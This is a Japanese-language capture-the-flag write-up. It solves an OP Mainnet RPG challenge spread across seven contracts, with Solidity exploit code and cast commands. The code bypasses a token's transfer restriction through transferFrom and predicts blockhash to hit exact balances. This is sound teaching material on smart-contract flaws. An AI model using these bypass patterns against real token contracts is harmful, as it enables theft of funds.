Skip to content
On this page

S2C12: Conquer The Game (RPG Multi-Contract)

1. 問題

これは Season 2 の最終ボスです — 7 つのコントラクトで構成される RPG ゲームシステムです。プレイヤーは「ゲームを征服」して mintFlag の複雑な検証チェーンを満たす必要があります:

コントラクトOP Mainnet アドレス機能
Main (Challenge)0xac22A9b80bf87Cdb1f95efEb3F2A504f5039BE9dメインチャレンジ、mintFlag を含む
HeroNFT0x792ad60632A1A63DaDb14fEa9AC3c7FB944406C6ERC-721 ヒーロー NFT、カスタム URI 可能
GoldToken0x84710c7E262B09fa3aAF97F2741E7CE6Fb11A54bERC-20 ゴールド、transfer に特別な制限あり
Inventory0x5f90e8c1205C448b81Ca57cffdca39bc3b0B35f4インベントリシステム、owner (Main) のみ変更可能
Quest0xc555ce58bAD74a2E0CD289aE23225a80bf47e7e3クエスト追跡
Dungeon0xd1A85e9e62387E8A4Ccb9baBab0Cd97d9E76B7deダンジョン位置、Quest と連動
Victory0x84503496E6ED4F68E84E4Ba6B4Fc5A4d4A4145d3勝利条件

2. 原因

コントラクトシステムには以下の重要な脆弱性が存在します:

2.1 GoldToken の transfer 制限は transferFrom でバイパス可能

solidity
// GoldToken.transfer — HeroNFT と Dungeon のチェックあり
function transfer(address to, uint256 amount) public override returns (bool) {
    require(hero.balanceOf(msg.sender) > 0, "Insufficient NFT balance");
    require(hero.balanceOf(msg.sender) < dungeon.dungeon(tx.origin), "Wrong NFT balance");
    _transfer(msg.sender, to, amount);
    return true;
}
// GoldToken.transferFrom — ERC20 から継承、制限なし!
// 直接呼び出してすべての transfer チェックをバイパス可能

重要な洞察transfer のオーバーライドは transferFrom を自動的には保護しません。これは OZ ERC-20 継承における一般的な落とし穴です。

2.2 GoldToken 取得メカニズム(onERC721Received コールバック)

S2 NFTFlags コントラクトの onERC721Received 関数は、特定の NFT を受け取ったときに GoldToken をミントします:

solidity
function onERC721Received(address, address from, uint256 tokenId, bytes calldata data)
    external override returns (bytes4)
{
    uint256 anotherTokenId = _toUint256(data);  // ← data から別の tokenId をデコード
    require(msg.sender == address(this));        // NFTFlags 自身のみ呼び出し可能
    require(ownerOf(anotherTokenId) == from);     // from が S2C2 token を所有している必要あり
    require(tokenIdToChallengeId[anotherTokenId] == 2); // token が S2C2 であることを検証
    require(!tokensClaimed[tokenId]);             // キャリア token が未クレーム
    safeTransferFrom(address(this), from, tokenId); // キャリア token を返却
    tokensClaimed[tokenId] = true;
    GoldContract(goldTokenAddress).mint(from);    // 1000e18 GoldToken をミント!
}

デュアル Token メカニズム

  • tokenId (キャリア): NFTFlags に転送されてから返却される。送信者が所有する任意の S2 NFT である必要がある
  • anotherTokenId (検証): data パラメータからデコードされる。S2C2 token (challengeId == 2) であり、from アドレスが所有している必要があるが、転送はされない

2.3 mintFlag 検証チェーン分析

solidity
function mintFlag(uint256 tokenId) public winner rich {
    // 1. 呼び出し元からチャレンジコントラクトへ 1e18 GoldToken を引き出す
    gold.transferFrom(msg.sender, address(this), 1 ether);
    
    // 2. HeroNFT URI からインベントリ値をパース
    uint256 inventoryValue = stringToUint(hero.tokenURI(tokenId));
    inventory.setValue(inventoryValue);  // inventory[tx.origin] に書き込み
    
    // 3. ハッシュを計算
    bytes32 hash = keccak256(abi.encodePacked(
        blockhash(block.number - 1),     // 1 つ前のブロックハッシュ(トランザクション内で予測可能)
        address(this),                    // チャレンジコントラクトアドレス
        inventory.inventory(tx.origin)    // インベントリ値
    ));
    
    // 4-8. 複数チェック
    require(gold.balanceOf(msg.sender) == uint256(hash) % 100 ether); // 残高 = H
    require(balance == dungeon.getCurrentPosition());                 // 残高 = quest×dungeon
    require(gold.balanceOf(tx.origin) == gold.balanceOf(~tx.origin)); // 敵味方の残高が等しい
    require(gold.allowance(msg.sender, this) == inventory.inventory(tx.origin)); // allowance=インベントリ
    
    nftContract.mint(tx.origin, 12);  // flag をミント!
}

stringToUint ロジック:

solidity
function stringToUint(string memory _s) public pure returns (uint256) {
    bytes memory b = bytes(_s);
    uint256 res = 0;
    for (uint256 i = 0; i < b.length; i++) {
        if (b[i] >= 0x30 && b[i] <= 0x39) {
            res = res * 10 + (uint256(uint8(b[i])) - 0x35); // 数字文字 → 数値
        } else {
            return 0;  // 非数字は直接 0 を返す
        }
    }
    return res;
}

文字 '5' = 0x35 → 0x35 - 0x35 = 0。そのため URI が "5" の場合 inventoryValue = 0 となります。

2.4 完全な解決策アーキテクチャ

        NEW_WALLET          ORIGINAL_WALLET         S2C12_SOLUTION
            |                      |                      |
   S1C1 ──→ |                      |                      |
   S2C2 ──→ |  (S2C2 token を取得)  |                      |
            |                      |                      |
  safeTransferFrom ─→ GoldToken mint 1000e18              |
            |                      |                      |
  approve(Solution, max) ──────────|──────────────────→ |
            |                      |  solve(NEW_WALLET)  |
            |                      |──────────────────→ |
            |                      |    transferFrom(NEW → Solution)
            |                      |    mint HeroNFT("5")
            |                      |    fund complement(~ORIGINAL)
            |                      |    fund ORIGINAL
            |                      |    burn excess
            |                      |    dungeon/quest/victory setup
            |                      |    approve(challenge, 1e18)
            |                      |    challenge.mintFlag() ──→ 🏆

3. 解決策

Step 1: GoldToken を取得する(S2C2 token が必要)

solidity
// 1. S2C2 token (challengeId == 2) を所有していることを確認
// 2. キャリア token (任意の他の S2 NFT) が必要

// 3. safeTransferFrom を呼び出し、キャリア token を NFTFlags に送信、data に S2C2 tokenId をエンコード
//    キャリア token は返却され、S2C2 token は検証のみで転送されない
NFTFlags.safeTransferFrom(
    myAddress,       // from — S2C2 token を所有している必要あり
    NFTFlags,        // to — NFTFlags 自身(onERC721Received をトリガー)
    carrierTokenId,  // キャリア token(任意の S2 NFT)
    abi.encode(s2c2TokenId)  // data = S2C2 tokenId
);
// → GoldToken mint 1000e18 が from アドレスに

Step 2: 数値を設定しターゲット残高を計算

solidity
// 2a. HeroNFT をミント、URI = "5"(inventoryValue = 0 にする)
uint256 heroTokenId = hero.mint("5");

// 2b. ターゲット残高 H を計算
bytes32 hash = keccak256(abi.encodePacked(
    blockhash(block.number - 1),  // 1 つ前のブロックハッシュ
    address(challenge),           // チャレンジアドレス
    uint256(0)                    // inventoryValue = 0
));
uint256 H = uint256(hash) % 100 ether;

Step 3: GoldToken 残高を操作

solidity
// transferFrom を使用して transfer 制限をバイパス
gold.approve(address(this), type(uint256).max);  // 自己承認
gold.transferFrom(goldSource, address(this), H + 1 ether + 2 ether);  // 引き出し

// 残高を分配
gold.transferFrom(address(this), address(~bytes20(tx.origin)), 1 ether); // 敵
gold.transferFrom(address(this), tx.origin, 1 ether);                     // プレイヤー

// 残高を正確に H にする
uint256 currentBalance = gold.balanceOf(address(this));
if (currentBalance > H + 1 ether) {
    gold.burn(currentBalance - H - 1 ether);
}

Step 4: ゲーム状態を設定して実行

solidity
// 勝利条件
dungeon.setPosition(bytes32(uint256(1)));  // 非ゼロ値を設定
victory.free(true);                          // 勝利をマーク

// ダンジョン位置 = 残高 = H(balance == quest × dungeon を満たすため)
quest.setCurrentQuest(1);
dungeon.setPosition(bytes32(H));

// challenge に 1 ether の消費を承認(消費後の残り allowance = 0 = inventoryValue)
gold.approve(address(challenge), 1 ether);

// 実行!
challenge.mintFlag(heroTokenId);

4. 遭遇した落とし穴

落とし穴 4.1: onERC721Received の tokenId と anotherTokenId の混同

現象: S2C2 token をキャリア token として使用すると、トランザクションが "Not owner!" で revert します。

根本原因: 関数の tokenId/anotherTokenId の役割に対する理解の誤り。tokenId(キャリア)は _safeTransfer によって最初に転送されるため、ownerOf(tokenId) が新しい所有者に変わります。一方 anotherTokenId(data からデコード)は転送されず、検証のみに使用されます。

誤った理解:anotherTokenId == tokenId(同じ token が 2 つの役割を果たす)
正しい理解:anotherTokenId (検証) ≠ tokenId (キャリア)

落とし穴 4.2: S2C2 token が NFTFlags に誤って転送される

現象: 実験中に transferFrom を使用して S2C2 token を NFTFlags に転送した後、GoldToken ミントをトリガーできなくなります。

誤った操作:

bash
# 誤り!S2C2 token を NFTFlags に転送
cast send $NFT_FLAGS "transferFrom(address,address,uint256)" \
  $EOA $NFT_FLAGS 94  # Token 94 = S2C2 token

結果:

  • Token 94 が NFTFlags の所有となり、元の EOA の所有ではなくなる
  • ownerOf(94) = NFTFlags、from (EOA) と等しくない
  • onERC721Received のチェック ownerOf(anotherTokenId) == from が常に失敗
  • この EOA を使用して GoldToken ミントをトリガーできない

落とし穴 4.3: GoldToken transfer 制限

現象: gold.transfer() を直接使用して解決用コントラクトに転送すると "Insufficient NFT balance" で revert します。

原因: GoldToken は transfer をオーバーライドし、呼び出し元が HeroNFT を保有し、かつ残高が dungeon 値未満であることを要求します。

落とし穴 4.4: transferFrom に自己承認が必要

現象: gold.transferFrom(address(this), target, amount)ERC20InsufficientAllowance で revert します。

原因: ERC-20 の transferFromfrom アドレスが msg.sender(呼び出し元)を承認していることを要求します。

落とし穴 4.5: 新しいウォレットに S1C1 登録が必要

現象: 新しいウォレットから S2C2 を呼び出すと "User address is not registered in Season 1" で revert します。

原因: S2 NFTFlags の mint 関数は hasMinted[recipient][1](S1C1 登録状態)をチェックします。

落とし穴 4.6: forge create --broadcast が OP で失敗

S2C7 と同じ forge のバグ — コントラクトのデプロイには forge script を使用する必要があります。

5. 落とし穴の原因

原因 5.1: ERC-721 _safeTransfer の呼び出し順序

OpenZeppelin ERC-721 の _safeTransfer 実装:

solidity
function _safeTransfer(address from, address to, uint256 tokenId, bytes memory data) internal virtual {
    _transfer(from, to, tokenId);                        // ① 最初に転送!
    _checkOnERC721Received(from, to, tokenId, data);     // ② その後コールバック
}

転送はコールバックの前に発生します。onERC721Received が実行される時点で、tokenId(キャリア)の所有者はすでに to(NFTFlags)に更新されています。しかし anotherTokenId(data からデコードされた検証用 token)はこの影響を受けません。

原因 5.2: transferFrom がオーバーライドされていない

Solidity の継承では、transfer のオーバーライドは transferFrom に影響しません:

solidity
// GoldToken は transfer のみをオーバーライド
function transfer(address to, uint256 amount) public override returns (bool) {
    // ... カスタムチェック ...
}

// transferFrom は ERC20._transfer から継承、制限なし
// function transferFrom(address from, address to, uint256 amount) public virtual returns (bool) {
//     _spendAllowance(from, msg.sender, amount);
//     _transfer(from, to, amount);  // 内部 _transfer を直接呼び出し、transfer のオーバーライドをバイパス
// }

核心的な教訓:OZ 5.x では transfer ではなく _update をオーバーライドし、すべての token 移動パスをカバーすべきです。

原因 5.3: クロスコントラクト状態依存

mintFlag の 10 個のチェックは 6 つの異なるコントラクトにまたがり、いずれかのパラメータ計算を誤ると全体がロールバックします。

原因 5.4: blockhash の予測可能性

blockhash(block.number - 1) はトランザクション実行時に既知で決定論的です。一見「ランダム」に見えますが、同一トランザクション内では計算可能であり、安全なランダムソースとして使用できません。

原因 5.5: onERC721Received の msg.sender チェック

NFTFlags の onERC721Received は msg.sender == address(this) を要求します。これは以下の場合にのみ成立します:

  • ERC-721 の safeTransferFromto を NFTFlags 自身に設定
  • ERC-721 内部で msg.sender = NFTFlags として IERC721Receiver(to).onERC721Received を呼び出し

直接の外部呼び出しはすべて失敗します。この場合 msg.sender は NFTFlags ではなく呼び出し元になるためです。

6. 解決方法

解決 6.1: 異なる token をキャリアと検証に使用

正しいフロー:

1 つの S2C2 token (metadata=2) → 検証のみ(anotherTokenId)、転送されない
1 つの任意の S2 NFT → キャリア(tokenId)、NFTFlags とユーザー間を往復
bash
# token 104 (S2C2) を検証用、token 95 をキャリア用に使用
cast send $NFT_FLAGS \
  $(cast calldata "safeTransferFrom(address,address,uint256,bytes)" \
    $MY_ADDRESS $NFT_FLAGS 95 $(cast abi-encode "f(uint256)" 104))

解決 6.2: S2C2 token を失った後の再取得

S2C2 token が NFTFlags に転送された後は取り戻せないため、以下が必要です:

  1. 新しいウォレットを作成
  2. 新しいウォレットで S1C1 登録を完了
  3. 新しいウォレットで S2C2 を完了(新しい S2C2 token を取得)
  4. キャリア token を新しいウォレットに転送
  5. 新しいウォレットで GoldToken ミントをトリガー
  6. 新しいウォレットが解決用コントラクトを approve
  7. 元のウォレットが解決用コントラクトを呼び出し(tx.origin = 元のウォレット、flag ミントは元のウォレットに)

解決 6.3: transfer の代わりに transferFrom を使用

solidity
// 誤り:transfer の制限を受ける
gold.transfer(recipient, amount);

// 正しい:自己承認 + transferFrom でバイパス
gold.approve(address(this), type(uint256).max);
gold.transferFrom(address(this), recipient, amount);

解決 6.4: 自己承認の標準パターン

solidity
// コンストラクタまたは初期化時に自己承認
function solve(address goldSource) external {
    // 最初に自己承認が必須
    gold.approve(address(this), type(uint256).max);
    
    // その後 transferFrom を使用可能
    gold.transferFrom(goldSource, address(this), amount);
    gold.transferFrom(address(this), enemy, amount);
}

解決 6.5: 新しいウォレットの登録

bash
# 最初に S1C1 登録を完了する必要がある
cast send $S1C1 "registerMe(string)" "name" --private-key $NEW_PK
# その後 S2C2 を完了可能
cast send $S2C2 "mintFlag(bytes32)" $KEY --private-key $NEW_PK

解決 6.6: forge script を使用

bash
forge script script/S2C12Deploy.s.sol:S2C12DeployScript \
  --rpc-url $RPC --private-key $PK --broadcast

7. 技術的ポイント

7.1 Solidity / EVM

ポイント詳細説明
ERC-20 transfer vs transferFromtransfer のオーバーライドは transferFrom を保護しません。OZ 5.x では _update をオーバーライドすべきです
blockhash の予測可能性blockhash(block.number - 1) はトランザクション内で決定論的な値であり、「ランダム」ソースとしての攻撃ベクトルになり得ます
stringToUint エンコード文字から 0x35 を引く → '5'→0、この特性を利用して inventoryValue=0 に設定し計算を簡略化
自己承認パターンerc20.approve(address(this), max) + transferFrom(address(this), ...) は transfer 制限をバイパスする標準技術
onlyOwner プロキシInventory の setValueonlyOwner ですが、owner は Main コントラクト — Main は mintFlag を通じて間接的に inventory に書き込みます

7.2 クロスコントラクトインタラクション

ポイント詳細説明
マルチコントラクト RPG システム7 つのコントラクトが協調し、状態が複数アドレスに分散、アトミックな操作が必要
onERC721Received コールバックERC-721 の safeTransferFrom がコールバックをトリガー、msg.sender = ERC-721 コントラクト自身
CREATE2 コンセプトaddress(~bytes20(tx.origin)) は tx.origin のビット反転アドレス
Victory.winner 依存dungeon[tx.origin] > 0 の場合のみ true を返す — 最初に dungeon を設定する必要あり
Dungeon.getCurrentPosition= quest[tx.origin] × dungeon[tx.origin] — 2 つのコントラクトの連動

7.3 GoldToken 取得フロー完全解説

前提条件:
  ├─ 1 つの S2C2 token (challengeId=2、検証のみで転送されない)
  └─ 1 つのキャリア token (任意の S2 NFT、往復転送用)

実行フロー:
  1. safeTransferFrom(sender, NFTFlags, carrierId, abi.encode(s2c2Id))
     ├─ ERC-721: _transfer(sender, NFTFlags, carrierId)  [キャリア → NFTFlags]
     └─ ERC-721: _checkOnERC721Received → NFTFlags.onERC721Received()
         ├─ anotherTokenId = decode(data) = s2c2Id
         ├─ msg.sender == address(this) ✓ (NFTFlags 自己呼び出し)
         ├─ ownerOf(s2c2Id) == from ✓ (S2C2 token は転送されていない)
         ├─ tokenIdToChallengeId[s2c2Id] == 2 ✓
         ├─ !tokensClaimed[carrierId] ✓
         ├─ safeTransferFrom(NFTFlags, sender, carrierId) [キャリア → 返却]
         ├─ tokensClaimed[carrierId] = true
         └─ GoldToken.mint(sender) → 1000 × 10^18 GoldToken!

7.4 mintFlag 完全検証チェーン

modifier winner():
  └─ Victory.winner() → dungeon[tx.origin] > 0 && victory[tx.origin]

modifier rich():
  └─ GoldToken.balanceOf(~tx.origin) >= 1e18

mintFlag(tokenId):
  ① transferFrom(msg.sender → this, 1e18)
  ② inventoryValue = stringToUint(heroNFT.tokenURI(tokenId))
  ③ inventory.setValue(inventoryValue) → inventory[tx.origin]
  ④ hash = keccak256(blockhash(block.number-1), this, inventory[tx.origin])
  ⑤ balance == hash % 100e18
  ⑥ balance == dungeon.getCurrentPosition() (= quest × dungeon)
  ⑦ balanceOf(tx.origin) == balanceOf(~tx.origin)
  ⑧ allowance(msg.sender, this) == inventory[tx.origin]
  → nftContract.mint(tx.origin, 12) 🏆

7.5 コントラクト間依存関係図

                   ┌──────────┐
                   │ NFTFlags │ (S2 NFT 管理)
                   └────┬─────┘
                        │ mint()
         ┌──────────────┼──────────────┐
         │              │              │
    ┌────▼─────┐  ┌────▼─────┐  ┌─────▼──────┐
    │ Main C12 │  │ HeroNFT  │  │ GoldToken  │
    │ (チャレンジ主)│  │ (ERC721) │  │ (ERC20)    │
    └──┬──┬──┬─┘  └──────────┘  └──┬──┬──┬──┘
       │  │  │                      │  │  │
  ┌────▼┐ │  └──────────────┐       │  │  │
  │Inv. │ │                 │       │  │  │
  └─────┘ │  ┌────▼────┐  ┌─▼─────┐│  │  │
          │  │ Quest  │  │Dungeon││  │  │
          │  └────────┘  └──┬────┘│  │  │
          │                 │     │  │  │
          │            ┌────▼─────┴──┘  │
          │            │ Victory        │
          │            └───────────────┘

     ┌────▼─────┐
     │ S2C12 Flag│
     │ (token 105)│
     └──────────┘

7.6 コアコードの場所

  • 解決用コントラクト: solutions/season2/Challenge12Solution.sol
  • デプロイスクリプト: script/S2C12Deploy.s.sol
  • 参考ソースコード: ByteAtATime/bg-ctf src/season2/Season2Challenge12.sol
  • NFTFlags ソースコード: ByteAtATime/bg-ctf src/season2/Season2NFTFlags.sol
  • GoldToken 取得トランザクション: 0x812d16346b465996a26427a629ce8c2069830bc3fac4940f5d1b206cb8762cda
  • S2C12 完了トランザクション: 0x9a3bfd2aa2d1597d36e1518087fe62b94148837f47cd2992de72a25e8fbef237
  • Flag Token ID: 0x69 (105)

一言まとめ: ERC-20 の transfer オーバーライドは transferFrom を保護せず、GoldToken は NFT コールバックメカニズムを通じて取得し、予測可能な blockhash を使用して正確な残高を計算し、単一のトランザクションで 10 個の分散チェックをアトミックに満たします。

Built with AiAda